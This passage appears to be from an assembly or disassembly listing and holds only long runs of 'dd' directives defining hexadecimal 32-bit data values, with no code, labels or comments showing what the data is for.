80E1A516h, 37A77C44h, 0CA3A1F6Ch, 10608369h, 7FE05879h dd 4E2606CFh, 7E8B081Fh, 92945833h, 0A4D8B604h, 0F7A0009Ch dd 7C222A30h, 5BD0D700h, 7968FDB9h, 96D51FA7h, 0B67701F6h dd 70165F59h, 0A297BFF8h, 0D954735Ch, 0F5D982D4h, 16047551h dd 5E719F80h, 0C3593C39h, 0BB193EBEh, 0FC8F1818h, 0FC903250h dd 3060D88Ah, 0DC0773ADh, 0EE810674h, 18F62A90h, 690E3EC6h dd 4C02513Eh, 6783A4F7h, 703B8CD0h, 1886AED9h, 0B71282C4h dd 5D7112E0h, 4CB01457h, 28389754h, 0F8917B7Ch, 0D10D2790h dd 40F0B2D2h, 0DC432248h, 2D6A3100h, 1156017Fh, 9A412EDh dd 130CB341h, 0A800D42Ch, 12B0B796h, 993101AFh, 3CF697BDh dd 0E1CAD5FAh, 0F0843A5h, 22A7881Ch, 0E807DCD3h, 0B7915F02h dd 0FC6833D1h, 4C0A32Fh, 7CB8A086h, 92844516h, 0C29A1862h dd 42F05424h, 384A0F55h, 0D591E8C0h, 80BF9093h, 6E8571D1h dd 3C02A56Ch, 0CF9301F6h, 0E4F8443Ch, 82509360h, 44B3E12Ch dd 0E97E7602h, 0EFC4F951h, 0A2A69644h, 0AE15C548h, 0FF8B40F8h dd 0E147D448h, 3B810580h, 0E2010D75h, 0A997EC73h, 0E0C83F19h dd 0F0C0E438h, 31265A0Fh, 4678FC04h, 6251148h, 49009814h dd 1F11C90Bh, 698BDC79h, 24FC71C5h, 447BC9D8h, 4CB24293h dd 147F0714h, 9FF2B109h, 5042C871h, 445A093Dh, 94CD820h dd 49FCA441h, 1CDFA8A2h, 238A5C90h, 0E10F41C9h, 4C293E24h dd 33B0905Ah, 0D9133683h, 0F89917A5h, 0C034513Ah, 20A19984h dd 0C088BF7Dh, 36FFAB18h, 49D48C0h, 0BC80E91Ch, 1220B296h dd 9CD3Ah, 9F167A50h, 84267E13h, 0AB0B206Eh, 0B9FCC01Ah dd 6B8FF8D2h, 5C585045h, 5D088487h, 0CE190078h, 1869BB96h dd 4C5EB778h, 8EC1CC5h, 0DF1DF904h, 7624C0E7h, 4119D0C5h dd 0BB6CD80Bh, 710B5C26h, 70C8C907h, 913DFFE3h, 1AD4B5C7h dd 23CF04BDh, 17D089AEh, 58E49E77h, 0F47C820Eh, 0AB230D80h dd 4C3BD010h, 14735002h, 0E418B554h, 1C4A528h, 0F56CA499h dd 2195FC5Ch, 2748014Ch, 6B2C30F6h, 4886D5Bh, 9B4D40EAh dd 2DB816BDh, 0C489FED1h, 0D90F1C70h, 8BC4CE9Ah, 0B25CFA51h dd 0E1C83518h, 0C410EC68h, 46AA5208h, 0A0B95174h, 78001495h dd 0C18CBC81h, 2363F07Dh, 0DC6B0084h, 0D11DAF16h, 0FC1449A0h dd 0A916D84Ch, 71C44466h, 76C0E01Ah, 18B5163Ch, 78F037F4h dd 9A2C207Eh, 641DF727h, 16BF25C4h, 21819810h, 0FC1244A6h dd 7C3046E2h, 4B96D160h, 0ACD8247Eh, 5A7D1654h, 602CCCA1h dd 0F4160D07h, 0A572C3E8h, 734B1800h, 31D295EDh, 0E5180B48h dd 44F0AC71h, 82076700h, 9D837BC0h, 318F0316h, 0B9CB19FBh dd 0F8EADA0h, 49F6502Dh, 8787054h, 9FD4A00h, 1F5D1CBDh dd 0FC508CF8h, 1E54D70Ch, 9E41C8E0h, 0FDE5BC79h, 64675B90h dd 306E81E8h, 7004BE2Bh, 0D500FF28h, 0DF7E18C6h, 25A4C9C3h dd 0CC1CCF5Eh, 0DB80749Ch, 4ACC9D51h, 0FE32E8D9h, 0FE3F009Fh dd 6A70FB92h, 0E87D9093h, 786FE907h, 0A4F2CABEh, 20D0BCh dd 4FB3876Bh, 0CECBC3C1h, 69E439h, 4C68302Bh, 5C9DC7Ch dd 0D158200Fh, 5C00BA3Eh, 9BE6D329h, 4AC35E71h, 0A5507A68h dd 10282C0Ah, 64A92E89h, 0B017D08h, 38007871h, 5A6BBC74h dd 0E55670C0h, 12A4A87Ah, 2219F9C6h, 0B0519060h, 0E3ACB200h dd 0B19EE46h, 0F447FCEDh, 0A980E079h, 112088B2h, 0F782C7Ch dd 0FCEAC4ECh, 498D1444h, 888F00E4h, 83D6D768h, 0CF9A03A4h dd 73790882h, 632B810h, 95241D4Ch, 78840F7Ch, 18535786h dd 64F7A51Eh, 32A4A081h, 8C621B63h, 6069A314h, 0C8EF850h dd 75A8D1C9h, 7601AD38h, 0A3B03EECh, 0C8244C28h, 0AC7A4C4Eh dd 8270E902h, 78FC14B9h, 62187652h, 420F73h, 6B649090h dd 9CA81094h, 1EEB5018h, 807C39C1h, 7B4A7E77h, 6E690000h dd 50B0EFBh, 0D164732Dh, 3E8CB020h, 0A49E14BAh, 80B42417h dd 9B49EA3h, 44C60A91h, 7F69711Ah, 31005760h, 1FD1805Ch dd 10C2F216h, 9C607489h, 2CF10639h, 0CE447E4Ah, 0C4C1AC4Ah dd 0C87CED7Dh, 8097183Ch, 0E02CC9B6h, 10CDB4D3h, 20209982h dd 20700069h, 7CF08FEEh, 75005280h, 0A218C825h, 1343D1BFh dd 0E3F3E4F8h, 8BFC1230h, 4A103410h, 975B78B3h, 0CCF829ACh dd 1207DC94h, 7E51D1FFh, 0A080FB98h, 831EA717h, 0A2009A97h dd 0BD868D5h, 2571CDC5h, 0A8E628CAh, 1000855Eh, 194D7B84h dd 250C12D5h, 2100AAADh, 69E2CDB8h, 2CC05CEh, 0BC705F07h dd 96770070h, 744078D5h, 0C0993EE6h, 36C5FD8Fh, 1F57BD83h dd 0A518F9E0h, 0E6710A01h, 8D477E75h, 0A9A093h, 39B996D4h dd 0E4133F97h, 64A0C0B1h, 7C241E27h, 4BAE8152h, 62D59247h dd 65551008h, 3848502Dh, 4DF8843Dh, 0AB00DCB8h, 15DD664Ch dd 58A5719Ah, 2C88A427h, 19F8B805h, 0D1B060A8h, 14B5E613h dd 5E62F89Ch, 49083089h, 0B8F80E6Fh, 0A0187A60h, 1FEC9FDAh dd 8880CEBh, 9900ACF7h, 0CBD6EABDh, 710BC6Fh, 0C0D9972Fh dd 0B254A8AAh, 1370254Dh, 0DAFCh, 6C8E05C2h, 6D0A32A4h dd 3C500C98h, 2504E720h, 10664120h, 780920B0h, 259ECA4h dd 2DC9FECh, 1854866Ch, 8C02419Fh, 542DAFD1h, 2969E78h dd 3DB42475h, 71354F8h, 0F4B142C0h, 3085EF6h, 291418EAh dd 0D48D6F6h, 4396253Ch, 0E5113160h, 0DE5671h, 6549D106h dd 0D050684Bh, 78B60B78h, 71D2F901h, 0CE32B396h, 6419B0E4h dd 0C1D6E0D8h, 3622520Ch, 501D7190h, 0E64FE898h, 5DCFC010h dd 55B927Ch, 16070454h, 206CF5A0h, 0BB0724E8h, 0C5E9EEBAh dd 800F285h, 1BD0991Eh, 591A1E23h, 8B3DDD16h, 3C983632h dd 0FD095290h, 0C35F1D8Eh, 16F21A94h, 4080C82Ch, 208B01D4h dd 80B79638h, 19544C13h, 608C7DF6h, 2579B856h, 522CD6D5h dd 2EBBB8F2h, 0CCAE5020h, 5CEB7309h, 0C8706BC8h, 0C8A32105h dd 0B8B816A2h, 53DEF613h, 22E4B038h, 4694940h, 142DF972h dd 9D24C057h, 0F168B54h, 9C0DCFE9h, 3820119Ch, 6BC304B1h dd 0C47FFC5Eh, 0D7084234h, 30D04D20h, 0FE0A7116h, 8917301Fh dd 48E25852h, 76B5047Ah, 64F37Eh, 6D6B7A71h, 0F72848D0h dd 0ADA11900h, 3C14E7C3h, 32C99600h, 993B5533h, 776901A4h dd 0CE7ECC44h, 0F1BC2CF7h, 7C283273h, 19FFAB86h, 4BACFC12h dd 0F24C44C0h, 440C5D73h, 0E3D75B13h, 967E0B28h, 18D4F10Eh dd 4AE8E062h, 6F54DF02h dd 69284F7Eh, 1C29818h, 208C1471h, 84A10C1Ch, 0E4023F27h dd 79087DF2h, 25350078h, 9AAEC5B5h, 2BE4E9FCh, 88325B5Fh dd 0FD60A39Bh, 5C10A415h, 284A44Bh, 9190340h, 70670BAAh dd 0DD4A780Eh, 4A1700F4h, 0B734FC23h, 50D4D03h, 80BD5102h dd 7BC5BCh, 0D8840A0Eh, 0B9FD7120h, 0F32FDC9Ah, 0E2D8CBF4h dd 83E868AAh, 0C045F2E4h, 0C5519F89h, 7C005C88h, 24C75E0h dd 2DC7C30Ah, 544236A4h, 0D26ED882h, 60F2A441h, 0F01FCFD7h dd 1D127E71h, 5F0D94C8h, 20F88A18h, 3888949Ah, 18FAEC98h dd 0DD009554h, 96286E07h, 7DE15DC2h, 0A59900D8h, 0DAF18BE6h dd 711BB81Eh, 0A848BA9Fh, 1F16BBF5h, 0AD0666Ch, 63C40705h dd 0B6A07BA1h, 153EA41Fh, 78D55A28h, 710978ACh, 405C0FEFh dd 0A56E67E2h, 0FCB955B4h, 2625400h, 0D1DAE43Ch, 0F8D38A32h dd 89D8F93Dh, 800C752h, 90CF718Ch, 984E1490h, 0BB951090h dd 1C4904B2h, 0C4A6194Ah, 0A0081268h, 258C4DA4h, 1C8A167Dh dd 31DF12C4h, 7C4AD170h, 0CC412D4Ch, 0FF7212B0h, 212CA405h dd 0F50C6CB9h, 0A1E4314Fh, 0A07C73F4h, 5520426h, 0D7197110h dd 0A583D364h, 0F0138ED1h, 0BB90A4EDh, 2956F880h, 2702F898h dd 0BECB46F8h, 817079AFh, 4471CAE5h, 0E3488B2Dh, 581C807Fh dd 2EC200Eh, 75A7B5C2h, 0DC7443A4h, 0FE42AB1Dh, 54E10DB8h dd 0F2418F74h, 0A299EB80h, 2F06D76Fh, 595F7E07h, 52217CE0h dd 0A17DA8DAh, 4C111F74h, 0C008A0ECh, 0C4920F44h, 82484922h dd 0C8E67AE8h, 85516F00h, 472502E3h, 14B9017Ch, 0E643E952h dd 3008203Dh, 188E280Fh, 90E117D1h, 2B988000h, 8460FD45h dd 4CB1FAE0h, 0C45EB955h, 0E029AE0Ch, 5B00D9D9h, 234906D1h dd 0EC209E8h, 870F117h, 830993EAh, 3048DA8Bh, 1FB0CC64h dd 0C58D491h, 7546005Ch, 87FBB79Ah, 0C1B1001Eh, 3B5BCF96h dd 0C8AC07DBh, 0F380FC13h, 18C808Ch, 0F5C2C121h, 0FF72258Eh dd 1458C5EAh, 0F6569503h, 0D015FAD3h, 4CA9FC4Ch, 837F1C22h dd 2C76DBC2h, 50D588h, 7F7CD8E9h, 4F2523BFh, 6C4418C3h dd 98E4956Eh, 9547100h, 3FA440F8h, 69489E08h, 482688FBh dd 35FE901h, 68FED0FAh, 0BDF3B948h, 7F58FC90h, 7AB2D088h dd 7C23000Dh, 0C4EE5FA8h, 0B749D1EDh, 0A0990078h, 311B6A65h dd 0F8C50A96h, 1AD87E2Ah, 8862F9E6h, 2C301457h, 83E050EAh dd 58B2FD1Dh, 3CE110A3h, 48227EFEh, 39D84C20h, 0B18078C1h dd 0BEB5204h, 204C0A7Eh, 230CC084h, 0A28B8A71h, 0B57478F4h dd 0A4C1016h, 61027538h, 0C5A407EDh, 67C854EEh, 0B900E846h dd 573DF61Eh, 0B33130D1h, 1B8592B1h, 0D63B9C05h, 8C1F12C7h dd 266A6080h, 68DA7116h, 28E880AFh, 19800028h, 7E6D5FF7h dd 0D0B986C4h, 1B520881h, 4C70DD8Dh, 0BE197864h, 28C6A6ECh dd 4A86F8D4h, 2720E4BEh, 8DAC49B7h, 40B01E3Bh, 0ADF9D0E7h dd 0E89661DEh, 86267D05h, 4B098C32h, 5FFAE158h, 0CE991B00h dd 0B136900h, 0E77F0816h, 8D9B2E80h, 175C2C9Ch, 41D8E3DDh dd 2006398h, 0A45521D9h, 713C78ABh, 351578D5h, 0E61029CFh dd 2E1C4108h, 8B71E802h, 95E44804h, 5BAD4225h, 0A771B4C0h dd 6C2B9FBDh, 2094471h, 24A47977h, 564B444Ch, 0B6C2A4B4h dd 1E34A8D4h, 0C1A6AA67h, 6C3FCCBDh, 2877F57Eh, 0E8C404Ch dd 1C135016h, 0A458E8E2h, 6F6D231Fh, 9248B044h, 4B007152h dd 0E024D0D6h, 0B12E4Dh, 66AD6211h, 19309023h, 0D10AA306h dd 5035E9h, 0F67B7C40h, 17BBBC68h, 0C17F9F07h, 0D8B0BAA7h dd 506209F0h, 1E0ACEDh, 7C0E3DE7h, 0E4B0F1DEh, 745ED1BFh dd 54B26484h, 0EEBE0F78h, 14BEFC5Ch, 230908D8h, 98461A24h dd 2FDB753Bh, 0F4D03215h, 749A0E78h, 0F873F540h, 0B8B4B27Dh dd 0FC00671Eh, 6FBAAD61h, 682A5106h, 41000EE1h, 38C07FBCh dd 71185FC9h, 82089EEEh, 0D5B5FC9Eh, 25854054h, 9CA91B67h dd 0AC9E7612h, 705D0094h, 2C7E4DDAh, 0F9C4A0BFh, 0C2A438CCh dd 0E82880D8h, 0F80B58B8h, 0AAEC2729h, 0CCE097CCh, 495EC71h dd 31BB7658h, 39BE9738h, 660800C0h, 0B9CFE6Eh, 0BF8C00B5h dd 0AB9FA6D0h, 0B90398EAh, 69B5396h, 4C61DF95h, 0D9F03188h dd 143300ABh, 3EC99D93h, 0EA0780FBh, 0D009DE25h, 0E73442B0h dd 0FFCD0098h, 94E5A3F1h, 0D6005EBAh, 9570F2B5h, 1E19E7EBh dd 7229283h, 10EA7E11h, 0DF1CD67Bh, 21AA1300h, 0DD615EABh dd 7AF80Fh, 2A3D5949h, 0C2EEE468h, 0FB3E7BB8h, 0ED180B82h dd 47918005h, 0B04526h, 8D357CECh, 191F33FAh, 5231D97Fh dd 9F151024h, 0A38008B0h, 0F0E95482h, 0D900550Bh, 786831B8h dd 0DE41641h, 1DFBA305h, 98901320h, 0FE90F3F0h, 6D83CF00h dd 14D07782h, 3DF0DF6Ch, 0B5039F81h, 82F3F07Ah, 0D6D03338h dd 26A880B8h, 604BCFE6h, 0D3C2409Ah, 137DC07Dh, 1FD00E03h dd 30BE98h, 0BB96FA98h, 5C9A315h, 0A2B810C0h, 905DFE21h dd 0B7060D20h, 0C4388EE1h, 0AA0AF084h, 0D4A1A2EAh, 0F4225F00h dd 0F22892h, 19AC857Ch, 0FED76834h, 0B722F9C3h, 0FBD9033Fh dd 4038A2B4h, 0B1941006h, 0CB0D5EAh, 468EA349h, 0D0105818h dd 9900D78Bh, 6F6647C1h, 9D00C480h, 2D67493Eh, 0FE8F48h dd 30736DF6h, 0B7F21985h, 0E21D3EE8h, 0A286FBE3h, 0E860D40Bh dd 278D28D0h, 0D9F1129Ch, 0B80840CCh, 0A735AC13h, 6B460E07h dd 5340416Dh, 2A70242Bh, 30DC2619h, 1248A19Fh, 0DE020E6Eh dd 0FF412363h, 7CFA002Fh, 0C8DE7998h, 47DE1500h, 0A0EC68CFh dd 0EE129E94h, 7B1B0049h, 0FAF4F077h, 0F8008B28h, 760B3857h dd 3B220360h, 0BB8049B4h, 48B3C80Dh, 0C41ED094h, 0CEC0231Bh dd 21FE1ACFh, 0C8B4000Ch, 0A1EAAD9Bh, 1D078AF6h, 0D35A5D72h dd 8B1C3h, 0BF934548h, 81DACE25h, 0C0AE1000h, 3CA46A1Ah dd 1FAB757Eh, 39440C02h, 0DD30DC30h, 0D03925DFh, 0E5600008h dd 2B6A24C2h, 4A363A9Dh, 0B11C8B00h, 6FE365F7h, 58F30400h dd 250C4517h, 44690635h, 0A04E469Ch, 2839C003h, 10B61Bh dd 0B93A011h, 0B3833F60h, 96544900h, 8D3E3F3h, 6180F82Dh dd 18A470B7h, 2859D0D0h, 69453907h, 0FC40EF89h, 33600C92h dd 0D4E05723h, 2B0DA803h, 0A725B793h, 0C0815E63h, 5260483Bh dd 307828D8h, 65385069h, 10331AE2h, 80159859h, 78E770F3h dd 2D3B0144h, 259FDD69h, 4885149h, 0E880B18Bh, 7CF3BAB4h dd 0F3690C98h, 3B18C5C1h, 64AE630Ah, 1C18A472h, 0E8BA9B60h dd 0F69C185h, 0BCAFF0C6h, 911B0C20h, 5481837h, 3D393E97h dd 13342069h, 0E4A80AE3h, 88A8220Bh, 8950C686h, 690C5598h dd 0F9681E40h, 37F80A7Dh, 41984D39h, 87D479AEh, 0B1843E40h dd 0E1E3585Dh, 9D024B37h, 40DB4885h, 0A46D21E8h, 1D003ADDh dd 6E9C3B69h, 0DA40FCh, 77D3C610h, 33199A38h, 0F8EE7803h dd 3D2D3643h, 0B8874559h, 482FAE25h, 0C8873802h, 2848448Ah dd 2470168Bh, 81071C2h, 8C3E6433h, 28D92BAEh, 0F9182A74h dd 0A2E8C0C8h, 52BE1284h, 24607D3Bh, 0C60A2093h, 882260C8h dd 2860F37Ah, 0C51F6110h, 0C98400D9h, 5E346698h, 201C8C4Dh dd 7358AE3Fh, 3FD1891h, 60EAF4FBh, 0A824640Ch, 0BE002CCCh dd 87BB2869h, 3883FE76h, 20625EE1h, 284020CEh, 3090BE39h dd 449EFA28h, 25AB301h, 5625E819h, 61362880h, 0DA608828h dd 0C64081FDh, 69E89EEEh, 0F16BDBC0h, 390882E6h, 38044E2Dh dd 0B0491C28h, 0C0833E00h dd 5304F3A6h, 188620C0h, 7649CFCh, 33270DDEh, 0D66EB05Ah dd 0E312CED1h, 0C84A881Ah, 8401B8BEh, 0B007A5C0h, 8931B18Eh dd 13AF85A5h, 983314DCh, 60F35300h, 9E1A8B4Bh, 0B09C4F1Eh dd 0C0541B0Dh, 40693842h, 0F01A80CCh, 24DD0A79h, 9CCFE3h dd 7D3EF914h, 7303FAAAh, 0BEAE2247h, 0CB7000BFh, 0F1C64118h dd 40E3892h, 91DAE8h, 0E214E3DDh, 39DE043Eh, 82981B43h dd 8C493FC0h, 0DBC60089h, 55330785h, 86608BFEh, 4274915Eh dd 0A6AE713Dh, 0FE606482h, 290A8034h, 0CD0C5C6h, 0E7F05A31h dd 923FFF80h, 7D1A0104h, 0C878C268h, 0D89AFD86h, 0AF24F332h dd 0E0128874h, 0CF913000h, 0E107725h, 8AAECDD0h, 6C489814h dd 54A0E00h, 0F37D76F8h, 70C2B630h, 9A53C89Ch, 31C9080h dd 0F2FB693Bh, 58049593h, 12F4608Ah, 0D0302C90h, 3FBC32E1h dd 57021811h, 2C14061h, 7ED0E8Bh, 0C820BB4Eh, 0A3787DABh dd 97F32009h, 1D9800E0h, 0FE9C696h, 5C13DB88h, 0D9008E0Fh dd 63482ED1h, 94763300h, 5692B3CEh, 348858BEh, 42A1EB0Ch dd 4600CC61h, 9848051Fh, 54139C3Eh, 76C6001h, 0D7AB6BDFh dd 0CFF8E019h, 5F404160h, 9BE0282Dh, 0B2F319A8h, 811CE065h dd 0F199D190h, 3C6062EFh, 4AFF1F1Ah, 20E60E1Eh, 1B2BAC20h dd 24907AD0h, 0A2F61900h, 11E93944h, 0A0817D3Bh, 9989C8B8h dd 0C5740624h, 86092038h, 0CEE7D60h, 80C629C4h, 2369061Bh dd 0B788B9B8h, 8832EB00h, 0D3888899h, 118916CCh, 6009C467h dd 3485F7DDh, 0B2002E3h, 0C460BE1Fh, 74FA8531h, 54EDE226h dd 491D0A8h, 61F01B8Ch, 0D46D070Fh, 6A83E18Ah, 381090ECh dd 0A611E92Dh, 98716EB8h, 0E200AB4h, 33E06641h, 14F3F810h dd 7DD133C3h, 98C8EC54h, 0E3DC9913h, 0DD40741Dh, 0BE0C0B2Ah dd 4250A141h, 26ACF770h, 4128EC8Bh, 8990B260h, 2384FF68h dd 14CFD1FCh, 146939B8h, 28014805h, 3F8C5B0h, 1D43E944h dd 0B6520187h, 8DC3E0DCh, 0C65710CFh, 70C7867h, 15EF289h dd 8B10A3FAh, 51531403h, 9B50C188h, 58E3A8CCh, 448A0159h dd 6FE90424h, 21288034h, 81415AD1h, 3F60FAE1h, 198E6D31h dd 6822FFD6h, 460F5BCDh, 0E014D781h, 596600CBh, 8DC0B60Fh dd 683D8704h, 18D6F73h, 85AFE924h, 3C2010BFh, 1B7D4920h dd 704C483h, 0BB6176D9h, 81011E17h, 4E29B24Fh, 8BCFE31Ah dd 0B3C300Ch, 922D5FF5h, 38A83200h, 542F7D0Dh, 25400E4Fh dd 19810FEAh, 875DCFE9h, 5AD3012Ch, 375BD933h, 7160458h dd 0E30C6351h, 0C750CA7Ch, 0CBF8550Ch, 0B0C2F60h, 30840FC0h dd 0FF1090A3h, 34E61C77h, 0C195246Ch, 20EC5081h, 0AC1C6289h dd 660621CFh, 6D68152Bh, 4C731116h, 650002E3h, 0E96C713Dh dd 20C711F2h, 345CBA59h, 0EA810767h, 61D24234h, 80DD87E9h dd 3FB850B0h, 0E69806Dh, 0D46C7235h, 0E14EE9A3h, 94122050h dd 0E777F0h, 0AC7015Bh, 544D6858h, 0ED2D88E3h, 81C3803Eh dd 0D16A66EBh, 34587E28h, 0CF14605h, 74865AE2h, 190BAB03h dd 91D78957h, 1A925FFBh, 0FD24006Ch, 1463C38h, 8A105C6Fh dd 5B460C44h, 1E4F2058h, 0F1EA8014h, 84F432F5h, 6A98F89h dd 3C207323h, 8114148Bh, 0BA90ABC4h, 65102A95h, 0DD091D1Ah dd 5761E2CDh, 0FC0B063Fh, 0BD8656F8h, 0F778D731h, 89507E97h dd 3A541A05h, 6D802A5Fh, 523F3174h, 1500B3BAh, 0DAF75D62h dd 0C7D9B9E9h, 0FF68594Ch, 0EB3A4778h, 58C19EA8h, 56072B93h dd 0C695E689h, 9F8C091Fh, 57280A43h, 0FE246DF3h, 72D228A3h dd 92DE74F1h, 0D6F610ABh, 0FD1A54E9h, 0B7015F2Ah, 943F5D49h dd 28820023h, 574E7661h, 519D02BFh, 33E95219h, 6CB986A0h dd 35006A2Eh, 722AC981h, 0E3415DBFh, 0FCE1C1E0h, 2042902Dh dd 8B286228h, 3D789D24h, 0B89EE791h, 6DDC1F00h, 603E0C1h dd 0AE5B7625h, 0EB316C02h, 59CE2D50h, 646188BDh, 0D9FE092Dh dd 5AC3502Bh, 139AFB68h, 696364F6h, 0BBD9F70Ah, 0DE61ED7Eh dd 9A575452h, 8281BE2h, 0B86707B8h, 0CC89C4E4h, 0D56F9E0Fh dd 7A75EF3Ch, 5D1BA50Ah, 610F945Ah, 489D1C5Ch, 6F553968h dd 0D91DE7E0h, 0A181FE11h, 5818D416h, 3F6326D2h, 0E705068Dh dd 0DC2CE0h, 7F9CF7A9h, 0D11C539Fh, 79EC1EFh, 4087CFCCh dd 25D1A07Ah, 85A832C8h, 84A067A8h, 5EDC15Bh, 32C0E5E6h dd 171591C5h, 7F1907Bh, 786D1FC7h, 7D0AC931h, 0AA2EEC1Ch dd 297A8000h, 5D1C6F09h, 0CEF830E9h, 8BD988F8h, 801A4CF5h dd 87FDC13Bh, 2CC82830h, 5CE05947h, 990B8468h, 0B151804Eh dd 72E98006h, 0FED9F60Eh, 26C14FC9h, 0F84673E1h, 59CF3C88h dd 37B9C7A8h, 69D52B4Fh, 0BF99C888h, 0C97EEE9Fh, 0A8B33FB1h dd 680116C2h, 3C524B80h, 80CDA9BBh, 682BA73h, 4A0A0566h dd 9101C9E9h, 36E78977h, 0C8330D8h, 0B20562E9h, 0EBB5178h dd 1FE8A300h, 1430EF7h, 0DA6958C2h, 50B6788h, 4378685Bh dd 0F3CE9FBh, 0BA398F50h, 194E5A0Ah, 0BD00E076h, 81302E54h dd 7BB11DF6h, 3F4E453h, 231D603Ch, 34E91806h, 0F62AA03h dd 438D38E1h, 514A6C45h, 99FC68Eh, 779963E4h, 878F0283h dd 0E3F25CF4h, 0A9B90081h, 6F786A1Fh, 78FF102h, 4031061Ah dd 0B28CE9B2h, 0A442A0DFh, 0A002E012h, 1FD73C8Fh, 4057FD10h dd 558E242Ch, 34C45B4Eh, 0F81D466Eh, 6B16D83Ch, 2AD15A89h dd 82FEFDA4h, 64C19CAAh, 0E8F764CDh, 2C325964h, 0C0521E82h dd 809F33h, 0B551CFF6h, 59EE08F0h, 3A68660Eh, 46898C5Eh dd 281803B1h, 1395E9CEh, 0D5296A16h, 8B49CA1Eh, 8752382Ch dd 5743A10Ch, 0E90CAD66h, 0BD0A0D7Ah, 614B0A09h, 39D003Ah dd 66ED81h, 1638E10h, 6CE0E9EBh, 4D3CAEA9h, 5BC80230h dd 34C8FE00h, 3AB6A177h, 43695E02h, 5C7B34D3h, 0DCF0F9F0h dd 120E205Dh, 0BD1AE589h, 237944Eh, 0E95BDD01h, 804A4745h dd 28F95540h, 0B476EE26h, 0A90FDC00h, 0B831FF44h, 90FD8CC3h dd 55A0B04Fh, 7690E9AFh, 0D729121Dh, 5515AC04h, 16CA9698h dd 490C8244h, 7FA19C83h, 348BF501h, 18BA9E75h, 7C40BB07h dd 0FBA22094h, 0B180E833h, 0CB28243Bh, 0E75D0C0Ah, 8351AD2Ah dd 0DD15B9h, 7F6B287Ch, 0E6488169h, 3FEF0943h, 3CC90457h dd 65E2031Fh, 63970B44h, 363FFC2h, 0CA5B1D18h, 0E9D6013h dd 2CB90A24h, 2D7F7h, 0F35EF81h, 0E9172FDCh, 0B3228A98h dd 8B592438h, 0AEE909F9h, 7D41B11h, 314B8A5Eh, 14F7663Ah dd 0E9475F1Ch, 76E488D5h, 92CA224h, 37A10C90h, 1C4A0654h dd 8C4D1827h, 584D5097h, 1AA9BEDh, 47DFD931h, 5B11293h dd 6557AB8Ah, 5C3A51E5h, 164714D2h, 33C80CD6h, 6D9312Ah dd 54DD5C0Dh, 485A1B60h, 7901F959h, 686CCC56h, 4457629Eh dd 0F94126EFh, 6644BB04h, 54026C8Bh, 6B510558h, 1810583Ch dd 201022BEh, 0FE5900EAh, 0C0DAF6CAh, 801C04E2h, 0F2C338C2h dd 9D320FCh, 645BE9D5h, 1402BB25h, 513F195Fh, 84B5802Ch dd 0C05BDE89h, 0C81CEB82h, 4031167Eh, 665C1CD4h, 0A526064h dd 0B951E289h, 5C28C08Ah, 0E9264BF4h, 0F7834586h, 0A2CE87D6h dd 937563D1h, 460804F1h, 8103E6C1h, 150E040h, 0DEC9F330h dd 0C39A08BDh, 2FA0A32Ah, 76E75578h, 0C704BE98h, 29657DBDh dd 0C090782h, 4E181F24h, 0B00C7167h, 6A69281Eh, 497A2096h dd 0BD2B6824h, 3DBC15BDh, 39900086h, 14BB3EA4h, 157C2E04h dd 56801AF5h, 0E9462FB2h dd 50D8D554h, 12486842h, 7FBC200h, 92E93674h, 0F1EAF054h dd 7E2E6EB0h, 0AEA0A8CDh, 2D059609h, 243B8173h, 31D94D2Ah dd 6856BD42h, 320574F4h, 0BE124CCCh, 0F3010780h, 0A42EE95Eh dd 2698CF6h, 6856C56h, 9CCBFE5Dh, 9D25A3DDh, 0B71A1D72h dd 0DEE7CC25h, 0E802C138h, 602A3502h, 59C48228h, 44FDC419h dd 0A2CE4F58h, 0D3F541EAh, 6C95DF29h, 5F2ED9FCh, 0E6B0E964h dd 570B02EFh, 912474FFh, 0A84B5FD9h, 6627104Dh, 6F2F3322h dd 1A26730Ah, 1E1433E3h, 0ACB3177h, 92BD83DDh, 62619C0h dd 0F6040005h, 2DE91ADEh, 0EB539A10h, 2B181410h, 49CF1D67h dd 3D09521Eh, 8FFC28F9h, 4C6D5B59h, 67B50711h, 0D69E1B14h dd 60085010h, 6A3DAC1Ch, 918B9013h, 0E033141Bh, 0D063136h dd 79749CA3h, 10C65058h, 6658CA09h, 18861C50h, 4930A764h dd 0F54932E9h, 0AAC1291Fh, 50330CB2h, 0ECE03092h, 5438CE23h dd 0C8EF1150h, 8423374Ah, 4360C950h, 0EEF8139Eh, 4AA0209Dh dd 14A246D0h, 0C30949DCh, 4D24DA5h, 0F99477E0h, 0EAE109E1h dd 0CB591B24h, 0DB0868E5h, 153688CCh, 0B78B581Dh, 7CA71054h dd 35B0039h, 0F381D3F7h, 0CC3071EBh, 98D10C30h, 1E224F8h dd 465F0B7Ah, 2569C180h, 0EEEC0CFFh, 688FDD02h, 0C0F7893Ch dd 1CC1DFE7h, 6C4F02E7h, 83C78539h, 0E98381DEh, 15003C1Ch dd 9FC6C229h, 245EC54Bh, 64753417h, 68C5D040h, 0A0A627A1h dd 1CB35696h, 66E0D250h, 0E90588C4h, 7EE567A5h, 4736F83h dd 0F23FDDA7h, 0DB5C2996h, 0E6C49B13h, 0A09A03A2h, 6B4C5B23h dd 59CA8907h, 8A5BFA29h, 0D402571Eh, 6064EC19h, 13CEDB9h dd 922D3B4Fh, 649A1670h, 0FD482148h, 0FBED07B7h, 0CEC9365h dd 0A19E1331h, 0C5611290h, 0AC1981BCh, 660C8F39h, 0FA04B7F7h dd 598A2193h, 7FC8B010h, 0A52D2624h, 0E33126Bh, 62D6DAA3h dd 0A12B6279h, 50D38821h, 0BFE9D8CDh, 0A447D348h, 5807C1AFh dd 6340C968h, 0BF744B8Bh, 5F13C5B6h, 40D0292Bh, 964C6FA4h dd 0B9E97709h, 74B2E52h, 62080C3h, 0ECA0B551h, 0E97D12EBh dd 2DA153CFh, 0E90A51DEh, 867A0C1h, 21822E55h, 447372B1h dd 0F7908919h, 85685300h, 0E9659A4Ah, 9D29496h, 8B005055h dd 4B982C83h, 2E3C100h, 93E7EB81h, 89DA1296h, 0E93645D8h dd 18CD2ADh, 0A903A63h, 7E7D422Fh, 6625682Ch, 6F322882h dd 0DC0FE013h, 0EC900CCDh, 0F910C389h, 464F2A02h, 802DD801h dd 0C0835B07h, 33874D04h, 2C619313h, 83800C90h, 0CB098027h dd 0F3075AB0h, 89771B9Ah, 215BD910h, 615E9ECDh, 50CEA9E9h dd 53F2F78Fh, 0C839BE3Dh, 9F354FF2h, 64370D09h, 215C1210h dd 20CF2DF0h, 0CA831B26h, 0E87370C2h, 98E8E059h, 99D7EEF0h dd 0C2D21262h, 0FC8452C0h, 0FA290C1Dh, 85411296h, 30532650h 